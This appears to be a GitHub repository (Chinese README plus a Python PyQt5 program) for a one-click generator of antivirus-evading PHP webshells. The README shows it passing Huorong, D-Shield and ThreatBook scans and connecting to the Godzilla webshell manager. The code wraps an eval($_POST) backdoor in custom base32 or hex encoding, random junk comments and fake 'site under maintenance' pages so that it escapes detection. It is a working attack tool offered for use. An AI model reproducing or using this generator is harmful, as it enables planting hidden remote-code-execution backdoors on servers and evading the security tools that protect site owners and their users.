├── README.md └── webshell_bypass.py /README.md: -------------------------------------------------------------------------------- 1 | # webshell_bypass 2 | 一个一键生成免杀的webshell工具 3 | ## 火绒免杀 4 | ![image](https://github.com/user-attachments/assets/9cbfb059-1671-4531-bcbd-1812169b5662) 5 | ## D盾免杀 6 | ![image](https://github.com/user-attachments/assets/6efe3dd4-3d94-41b1-a555-d2cfa84add00) 7 | ## 微步免杀 8 | ![image](https://github.com/user-attachments/assets/c8b6c23e-f64a-4868-a5f3-b2ebe3117780) 9 | ![image](https://github.com/user-attachments/assets/8f2a23ec-07ad-4178-b9b4-3052abe39ec9) 10 | ## 哥斯拉可正常连接 11 | ![image](https://github.com/user-attachments/assets/a5e0155a-62bc-43cc-9738-1dfce33f8bc1) 12 | ### 目前只更新了php免杀,后面再加入其他免杀 13 | ### 公众号:白昼信安 14 | Snipaste_2025-05-22_10-13-51 15 | 16 | -------------------------------------------------------------------------------- /webshell_bypass.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | import random 4 | from PyQt5 import QtWidgets, QtGui, QtCore 5 | 6 | #编码函数 7 | 8 | def custom_base32_encode(data, table): 9 | bits = 0 10 | value = 0 11 | output = '' 12 | for byte in data.encode(): 13 | value = (value << 8) | byte 14 | bits += 8 15 | while bits >= 5: 16 | bits -= 5 17 | output += table[(value >> bits) & 0x1F] 18 | if bits > 0: 19 | output += table[(value << (5 - bits)) & 0x1F] 20 | return output 21 | 22 | def hex_encode(data): 23 | return ''.join([f"{ord(c):02x}" for c in data]) 24 | 25 | def random_str(chars, length): 26 | return ''.join(random.choices(chars, k=length)) 27 | 28 | def random_name(length=6): 29 | return ''.join(random.choices('abcdefghijklmnopqrstuvwxyz', k=length)) 30 | 31 | def rand_comment(): 32 | return f"/*{random_str('xYZ123', 6)}*/" 33 | 34 | def rand_noise(): 35 | return f"\n\t{rand_comment()}\n" 36 | 37 | #模板内容 38 | 39 | bs32_template = '''{var1} = '{encoded_payload}';{comment1} 45 | $this->{var2} = @{decode_func}($this->{var1});{comment2} 46 | if (isset($_POST['{password}'])){brace_open} 47 | @eval({noise_string}.$this->{var2}.{noise_string}); 48 | {brace_close}{comment3} 49 | {brace_close} 50 | {brace_close} 51 | 52 | new {class_name}();{comment4} 53 | 54 | function {decode_func}(${param}){brace_open} 55 | $custom_table = '{char_table}'; 56 | ${ret_var} = ''; 57 | $v = 0; $vbits = 0; 58 | for ($i = 0, $j = strlen(${param}); $i < $j; $i++){brace_open}{comment5} 59 | $v <<= 5; 60 | $c = strpos($custom_table, ${param}[$i]); 61 | if($c === false) exit('invalid char'); 62 | $v += $c;{comment6} 63 | $vbits += 5; 64 | while ($vbits >= 8){brace_open} 65 | $vbits -= 8; 66 | ${ret_var} .= chr($v >> $vbits); 67 | $v &= ((1 << $vbits) - 1); 68 | {brace_close} 69 | {brace_close} 70 | return ${ret_var}; 71 | {brace_close} 72 | 73 | echo "

Site Under Maintenance

"; 74 | ?>''' 75 | 76 | bs16_template = '''{var1} = '{encoded_payload}';{comment1} 85 | $this->{var2} = {decode_func}($this->{var1});{comment2} 86 | if (isset($_POST['{password}'])){brace_open} 87 | eval({noise_string} . $this->{var2} . {noise_string}); 88 | {brace_close}{comment3} 89 | {brace_close} 90 | {brace_close} 91 | 92 | new {class_name}();{comment4} 93 | {brace_close} 94 | 95 | function {decode_func}(${param}){brace_open} 96 | ${ret_var} = ''; 97 | for ($i = 0; $i < strlen(${param}); $i += 2){brace_open} 98 | ${ret_var} .= chr(hexdec(substr(${param}, $i, 2)));{comment5} 99 | {brace_close} 100 | return ${ret_var}; 101 | {brace_close} 102 | 103 | echo "
Site currently under scheduled update.
"; 104 | ?>''' 105 | 106 | def build_hex_obfuscated_shell(password): 107 | class_name = random_name(5).capitalize() + random_name(3) 108 | var_payload = random_name(6) 109 | var_decoded = random_name(6) 110 | decode_func = random_name(6) 111 | fake_func = random_name(6) 112 | junk_var = random_name(6) 113 | junk_val = random_name(6) 114 | 115 | payload = f'@eval($_POST["{password}"]);' 116 | encoded = hex_encode(payload) 117 | 118 | return f''' 0) {{ {rand_comment()} 127 | $this->{var_payload} = '{encoded}'; 128 | $this->{var_decoded} = {decode_func}($this->{var_payload}); 129 | eval($this->{var_decoded}); 130 | }} 131 | }} 132 | }} 133 | 134 | // 启动调度器 {rand_comment()} 135 | new {class_name}(); 136 | 137 | // 解码器函数 {rand_comment()} 138 | function {decode_func}($hex) {{ 139 | $out = ''; 140 | for ($i = 0; $i < strlen($hex); $i += 2) {{ 141 | $out .= chr(hexdec(substr($hex, $i, 2))); {rand_comment()} 142 | }} 143 | return $out; 144 | }} 145 | 146 | // 服务入口 {rand_comment()} 147 | function {fake_func}() {{ 148 | return md5("{random_name(6)}") === sha1("{random_name(5)}"); 149 | }} 150 | ?>''' 151 | 152 | #构造器 153 | 154 | def build_bs32_webshell(payload, char_table, password): 155 | encoded = custom_base32_encode(payload, char_table) 156 | return bs32_template.format( 157 | class_name=random_name(4), 158 | var1=random_name(5), 159 | var2=random_name(5), 160 | ret_var=random_name(5), 161 | param=random_name(5), 162 | decode_func=random_name(6), 163 | brace_open='{', 164 | brace_close='}', 165 | encoded_payload=encoded, 166 | comment1=rand_comment(), 167 | comment2=rand_comment(), 168 | comment3=rand_comment(), 169 | comment4=rand_comment(), 170 | comment5=rand_comment(), 171 | comment6=rand_comment(), 172 | noise1=rand_noise(), 173 | noise2=rand_noise(), 174 | maintenance_noise=random_str('abcXYZ123', 8), 175 | noise_string=f'"{rand_comment()}"', 176 | char_table=char_table, 177 | password=password 178 | ) 179 | 180 | def build_bs16_webshell(payload, password): 181 | encoded = hex_encode(payload) 182 | return bs16_template.format( 183 | class_name=random_name(4), 184 | var1=random_name(5), 185 | var2=random_name(5), 186 | ret_var=random_name(5), 187 | param=random_name(5), 188 | decode_func=random_name(6), 189 | brace_open='{', 190 | brace_close='}', 191 | encoded_payload=encoded, 192 | comment1=rand_comment(), 193 | comment2=rand_comment(), 194 | comment3=rand_comment(), 195 | comment4=rand_comment(), 196 | comment5=rand_comment(), 197 | maintenance_noise=random_str('abcXYZ123', 8), 198 | noise1=rand_noise(), 199 | noise2=rand_noise(), 200 | noise_string=f'"{rand_comment()}"', 201 | password=password 202 | ) 203 | 204 | #GUI 205 | 206 | class WebshellGenerator(QtWidgets.QWidget): 207 | def __init__(self): 208 | super().__init__() 209 | self.init_ui() 210 | 211 | def init_ui(self): 212 | self.setWindowTitle("WebShell 生成器 By:M9") 213 | self.setFixedSize(520, 340) 214 | layout = QtWidgets.QVBoxLayout() 215 | 216 | self.template_combo = QtWidgets.QComboBox() 217 | self.template_combo.addItems([ 218 | "免杀模板1", 219 | "免杀模板2", 220 | "免杀模板3" 221 | ]) 222 | 223 | self.table_input = QtWidgets.QLineEdit() 224 | self.table_input.setText(''.join(random.sample('abcdefghijklmnopqrstuvwxyz234567', 32))) 225 | self.table_label = QtWidgets.QLabel("自定义 Base32 字符表:") 226 | 227 | self.pass_input = QtWidgets.QLineEdit() 228 | self.pass_input.setText("cmd") 229 | self.pass_label = QtWidgets.QLabel("访问密码参数名:") 230 | 231 | self.generate_button = QtWidgets.QPushButton("生成 WebShell") 232 | self.generate_button.clicked.connect(self.generate_webshell) 233 | 234 | layout.addWidget(QtWidgets.QLabel("请选择编码方式:")) 235 | layout.addWidget(self.template_combo) 236 | layout.addWidget(self.table_label) 237 | layout.addWidget(self.table_input) 238 | layout.addWidget(self.pass_label) 239 | layout.addWidget(self.pass_input) 240 | layout.addWidget(self.generate_button) 241 | 242 | self.setLayout(layout) 243 | 244 | self.template_combo.currentIndexChanged.connect(self.toggle_table_input) 245 | self.toggle_table_input() 246 | 247 | def toggle_table_input(self): 248 | is_bs32 = self.template_combo.currentIndex() == 0 249 | self.table_input.setVisible(is_bs32) 250 | self.table_label.setVisible(is_bs32) 251 | 252 | def generate_webshell(self): 253 | password = self.pass_input.text().strip() 254 | payload = '@eval($_POST["' + password + '"]);' 255 | selected = self.template_combo.currentIndex() 256 | 257 | if selected == 0: 258 | table = self.table_input.text().strip() 259 | if len(table) != 32 or len(set(table)) != 32: 260 | QtWidgets.QMessageBox.warning(self, "字符表无效", "Base32 字符表必须是32个唯一字符") 261 | return 262 | content = build_bs32_webshell(payload, table, password) 263 | filename = 'bs32.php' 264 | elif selected == 1: 265 | content = build_bs16_webshell(payload, password) 266 | filename = 'bs16.php' 267 | else: 268 | content = build_hex_obfuscated_shell(password) 269 | filename = 'hex_clean.php' 270 | 271 | output_path = os.path.join(os.getcwd(), filename) 272 | with open(output_path, 'w', encoding='utf-8') as f: 273 | f.write(content) 274 | 275 | QtWidgets.QMessageBox.information(self, "生成成功", f"文件已保存:\n{output_path}") 276 | 277 | if __name__ == '__main__': 278 | app = QtWidgets.QApplication(sys.argv) 279 | window = WebshellGenerator() 280 | window.show() 281 | sys.exit(app.exec_()) 282 | --------------------------------------------------------------------------------